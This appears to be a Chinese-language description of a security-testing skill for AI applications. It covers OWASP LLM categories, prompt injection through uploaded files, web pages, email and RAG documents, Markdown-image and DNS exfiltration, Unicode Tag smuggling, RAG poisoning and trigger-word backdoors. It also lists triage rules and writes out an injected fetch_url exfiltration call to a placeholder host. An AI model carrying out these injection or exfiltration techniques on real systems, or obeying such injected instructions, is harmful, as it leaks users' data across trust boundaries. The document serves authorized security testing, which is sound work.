用途：该技能用于排查 LLM/AI 功能的真实安全问题。核心原则是只有当问题跨越可证明的信任边界（OOB 回调、逐字可复现的密钥、跨租户记录或代码执行）时才值得报告；模型“偶尔说了坏话”属于幻觉，不是漏洞。
主要能力：
- 覆盖 OWASP Top 10 for LLM Applications 2025（LLM01 提示注入、LLM07 系统提示泄露、LLM08 向量/嵌入弱点）与 OWASP Top 10 for Agentic Applications (2026) 的 ASI01–ASI10。
- 直接与间接提示注入，含上传 PDF/DOCX、网页抓取、邮件/日历/Jira/PR、RAG 索引文档等投放渠道。
- 外带渠道：Markdown 图片零点击外带、工具调用/浏览外带（可链 SSRF）、仅 DNS 外带，均以 Burp Collaborator/interactsh/webhook 回调为准。
- Unicode Tags（U+E0000–U+E007F）ASCII 走私，附带编解码函数。
- 经 AI 数据层的跨租户 IDOR、系统提示/配置泄露、RAG 投毒、训练数据投毒与触发词后门、工具滥用（代码解释器、数据库、邮件、文件读写、fetch/SSRF）。
使用方式：先过误报门：同一提取提示在两个全新会话中各跑一次，逐词一致才算真泄露；用不可猜测的锚点验证；跨租户需给出可独立核验属于账户 B 的值；外带必须收到携带真实数据的 OOB 回调。常用命令示例如 python3 -m http.server 8000 作为监听，配合注入 fetch_url("https://OOB.example/x?d=DATA") 验证。
适用场景：对聊天机器人、RAG 知识库、代理/工具型 AI 应用做安全测试与分诊。分诊规则：仅命中 ASI 类别为 Informational，须链接到 IDOR、OOB 确认外带、RCE 或账户接管才构成可报告问题。
限制：资料未提供安装方式、价格、平台要求或具体授权范围；正文中出现的占位域名与敏感值已按原文保留，测试需在合法授权范围内进行。